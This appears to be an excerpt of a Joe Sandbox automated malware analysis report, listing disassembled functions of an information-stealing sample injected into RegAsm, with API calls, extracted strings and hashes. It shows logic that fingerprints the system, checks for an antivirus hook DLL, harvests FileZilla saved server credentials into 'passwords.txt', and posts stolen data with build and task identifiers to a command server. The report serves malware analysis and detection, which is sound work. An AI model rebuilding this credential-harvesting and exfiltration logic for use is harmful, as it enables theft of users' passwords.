Process32Next.KERNEL32(00000000,00000128), ref: 00411542
CloseHandle.KERNEL32(00000000), ref: 0041154D

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 907984538-0
Opcode ID: 1396b2ce56279851626f8e536cf4b3a1d2955bc99cf5b5724ab09f3f1eec8d32
Instruction ID: 51913b6594a0ebc61adf221e1251aafbed1c942b69ef7482f2150c09c24ace5b
Opcode Fuzzy Hash: 1396b2ce56279851626f8e536cf4b3a1d2955bc99cf5b5724ab09f3f1eec8d32
Instruction Fuzzy Hash: B4118671B00214ABDB11FB65DC85BED73B9AB48708F400097F905E3291DB78AFC58B64

Function 00410D2E Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
HeapAlloc.KERNEL32(00000000), ref: 00410D50
GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
wsprintfA.USER32 ref: 00410D7D

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 8156003ae2ba7e4b44e04d9edb8d9148e42b9655548c5c901af85341735e3e08
Instruction ID: caf3496bb33e6ba0959960e47458aa26311d6ef53a8a48f1899bbcb1f341be02
Opcode Fuzzy Hash: 8156003ae2ba7e4b44e04d9edb8d9148e42b9655548c5c901af85341735e3e08
Instruction Fuzzy Hash: 40F05070600324A7DB04DB74EC49B9B33699B04725F000295F111C71C0EB759F844785

Function 00410C53 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction ID: a2d0142ef4c2f8337792e91bc85231d42bd55b383edadc254ac7c872ecc74bf6
Opcode Fuzzy Hash: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction Fuzzy Hash: 33D05EB6200208BBD7449BD5EC8DF8E7BBCEB85725F100265FA46D2290DAF099488B34

Function 00410FBA Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00410FD4
wsprintfA.USER32 ref: 00410FEC

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 37567d6e659b031875af45e68dac7a2455be4e9a44875f3cb64902c00df150dc
Instruction ID: b9d5f41220af3185496dac5b5e3dcb30fe98a9b599af34ff0529e18c8b474594
Opcode Fuzzy Hash: 37567d6e659b031875af45e68dac7a2455be4e9a44875f3cb64902c00df150dc
Instruction Fuzzy Hash: 79E09270D1021D9BCF04DFA0ED85ADDB7FDEB08208F0054B5A505E3180D674AB898F48

Function 004014AD Relevance: 1.3, APIs: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,?,?,?,00401503,avghookx.dll,0041850D), ref: 004014DF

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: b529297655fd12c0b63a16027a5c7bdef515ed443d31e096b8a78f326fd23762
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: C1F08C32A00150EBCF20CF59D804AAAFBB8EB43760F257065E809B3260C334ED11EA9C

Function 00405482 Relevance: 72.3, APIs: 25, Strings: 16, Instructions: 573
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

lstrlenA.KERNEL32(?), ref: 00405519

Part of subcall function 00411E5D: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,0041286A,?,?,00000000), ref: 00411E7D
Part of subcall function 00411E5D: GetProcessHeap.KERNEL32(00000000,?,?,?,?,0041286A,?,?,00000000), ref: 00411E8A
Part of subcall function 00411E5D: HeapAlloc.KERNEL32(00000000,?,?,?,0041286A,?,?,00000000), ref: 00411E91

StrCmpCA.SHLWAPI(?,00436982,0043697F,0043697E,00436973), ref: 00405588
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004056C0
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00405704
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405736

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

lstrlenA.KERNEL32(?,",file_data,00437848,------,0043783C,?,",00437830,------,00437824,58cd250b15e666e5f72fcf5caa6cb131,",build_id,0043780C,------), ref: 00405C67
lstrlenA.KERNEL32(?), ref: 00405C7A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00405C92
HeapAlloc.KERNEL32(00000000), ref: 00405C99
lstrlenA.KERNEL32(?), ref: 00405CA6
_memmove.LIBCMT ref: 00405CB4
lstrlenA.KERNEL32(?,?,?), ref: 00405CC9
_memmove.LIBCMT ref: 00405CD6
lstrlenA.KERNEL32(?), ref: 00405CE4
lstrlenA.KERNEL32(?,?,00000000), ref: 00405CF2
_memmove.LIBCMT ref: 00405D05
lstrlenA.KERNEL32(?,?,00000000), ref: 00405D1A
HttpSendRequestA.WININET(?,?,00000000), ref: 00405D2D
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405D6F
InternetReadFile.WININET(?,?,000007CF,?), ref: 00405E26
StrCmpCA.SHLWAPI(?,block), ref: 00405E3B
ExitProcess.KERNEL32 ref: 00405E46

Strings

------, xrefs: 00405605
", xrefs: 0040597B
build_id, xrefs: 0040594F
------, xrefs: 0040589D
------, xrefs: 004059FF
------, xrefs: 00405B5D
file_data, xrefs: 00405C09
", xrefs: 0040581B
58cd250b15e666e5f72fcf5caa6cb131, xrefs: 004059A7
", xrefs: 00405C35
", xrefs: 00405AD8
--, xrefs: 00405600
ERROR, xrefs: 00405D79
block, xrefs: 00405E30
------, xrefs: 0040573C
ERROR, xrefs: 00405F2F

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internetlstrcpy$Heap$HttpProcess_memmove$AllocOpenRequestlstrcat$BinaryConnectCrackCryptExitFileInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$58cd250b15e666e5f72fcf5caa6cb131$ERROR$ERROR$block$build_id$file_data
API String ID: 2638065154-600367253
Opcode ID: 6e429642dd5302c34c2185fd21d6a0f4c88b4830bb879b38db76c06ff6ba2cbd
Instruction ID: 0358094c4ed1188e72ebe9b9f120e41e30dff06ecd2091aeb6422432c7e693ed
Opcode Fuzzy Hash: 6e429642dd5302c34c2185fd21d6a0f4c88b4830bb879b38db76c06ff6ba2cbd
Instruction Fuzzy Hash: 8242E771D401699BDF21FB21DC45ADDB3B9BF04308F0085E6A548B3152DAB46FCA9F98

Function 0040E6CF Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,004168FA,?), ref: 00411E37

strtok_s.MSVCRT ref: 0040E77E
GetProcessHeap.KERNEL32(00000000,000F423F,00436921,0043690B,0043690A,00436907), ref: 0040E7C4
HeapAlloc.KERNEL32(00000000), ref: 0040E7CB
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040E7DF
lstrlenA.KERNEL32(00000000), ref: 0040E7EA
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040E81E
lstrlenA.KERNEL32(00000000), ref: 0040E829
StrStrA.SHLWAPI(00000000,<User>), ref: 0040E857
lstrlenA.KERNEL32(00000000), ref: 0040E862
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040E890
lstrlenA.KERNEL32(00000000), ref: 0040E89B
lstrlenA.KERNEL32(?), ref: 0040E901
lstrlenA.KERNEL32(?), ref: 0040E915
lstrlenA.KERNEL32(0040ECBC), ref: 0040EA3D

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

Strings

Host: , xrefs: 0040E954
Password: , xrefs: 0040E9AE
<Host>, xrefs: 0040E7D9
<Pass encoding="base64">, xrefs: 0040E88A
<Port>, xrefs: 0040E818
<User>, xrefs: 0040E851
passwords.txt, xrefs: 0040EA4D
Soft: FileZilla, xrefs: 0040E948
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040E71F
Login: , xrefs: 0040E98C

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 4146028692-935134978
Opcode ID: f949cccef691e6e1433b5b24d581b878c759328a52e9110dbf90affc871fe0ad
Instruction ID: fd63b87309b75f474144e9289f0c2a5cbc93a3f4ace5c824b0701c05e7ba47e5
Opcode Fuzzy Hash: f949cccef691e6e1433b5b24d581b878c759328a52e9110dbf90affc871fe0ad
Instruction Fuzzy Hash: 48A17572A40219ABCF01FBA1DD4AADD7775AF08305F105426F500F30A1EB79AE498F99

Function 00406BB5 Relevance: 63.6, APIs: 20, Strings: 16, Instructions: 598
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406C54
StrCmpCA.SHLWAPI(?), ref: 00406C72
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406E0A
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00406E4E
lstrlenA.KERNEL32(?,",status,00437990,------,00437984,",task_id,00437970,------,00437964,",mode,00437950,------,00437944), ref: 0040753C
lstrlenA.KERNEL32(?), ref: 0040754B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407556
HeapAlloc.KERNEL32(00000000), ref: 0040755D
lstrlenA.KERNEL32(?), ref: 0040756A
_memmove.LIBCMT ref: 00407578
lstrlenA.KERNEL32(?), ref: 00407586
lstrlenA.KERNEL32(?,?,00000000), ref: 00407594
_memmove.LIBCMT ref: 004075A1
lstrlenA.KERNEL32(?,?,00000000), ref: 004075B6
HttpSendRequestA.WININET(00000000,?,00000000), ref: 004075C4
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00407621
InternetCloseHandle.WININET(00000000), ref: 0040762C
InternetCloseHandle.WININET(?), ref: 00407638
InternetCloseHandle.WININET(?), ref: 00407644
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406E7C

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

------, xrefs: 00406CFC
------, xrefs: 00406E82
status, xrefs: 004074B1
build_id, xrefs: 00407095
------, xrefs: 00407145
", xrefs: 004074DD
", xrefs: 00406F61
", xrefs: 0040721D
58cd250b15e666e5f72fcf5caa6cb131, xrefs: 004070ED
task_id, xrefs: 00407351
------, xrefs: 0040729F
mode, xrefs: 004071F1
------, xrefs: 00406FE3
------, xrefs: 004073FF
", xrefs: 004070C1
", xrefs: 0040737D

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$"$"$------$------$------$------$------$------$58cd250b15e666e5f72fcf5caa6cb131$build_id$mode$status$task_id
API String ID: 3702379033-2217042704
Opcode ID: b8dbde8d21d4ac6c3c08276e5f210b4e1bff0afe127d540ef39a0c7a6ce8cead
Instruction ID: 794185a1fa7fea4ea139e75ccda2d60adc1beae91ce9f873f04dbe7a568b89d6
Opcode Fuzzy Hash: b8dbde8d21d4ac6c3c08276e5f210b4e1bff0afe127d540ef39a0c7a6ce8cead
Instruction Fuzzy Hash: 4352897194016D9ACF61EB62CD46BCCB375AF04308F4184E7A61D73161DA746FCA8FA8

Function 00405F39 Relevance: 54.7, APIs: 20, Strings: 11, Instructions: 466
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
StrCmpCA.SHLWAPI(?), ref: 00405FF6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
lstrlenA.KERNEL32(?,",mode,004378D0,------,004378C4,58cd250b15e666e5f72fcf5caa6cb131,",build_id,004378AC,------,004378A0,",00437894,------), ref: 004065FD
lstrlenA.KERNEL32(?), ref: 0040660C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00406617
HeapAlloc.KERNEL32(00000000), ref: 0040661E
lstrlenA.KERNEL32(?), ref: 0040662B
_memmove.LIBCMT ref: 00406639
lstrlenA.KERNEL32(?), ref: 00406647
lstrlenA.KERNEL32(?,?,00000000), ref: 00406655
_memmove.LIBCMT ref: 00406662
lstrlenA.KERNEL32(?,?,00000000), ref: 00406677
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00406685
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004066E2
InternetCloseHandle.WININET(00000000), ref: 004066ED
InternetCloseHandle.WININET(?), ref: 004066F9
InternetCloseHandle.WININET(?), ref: 00406705
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
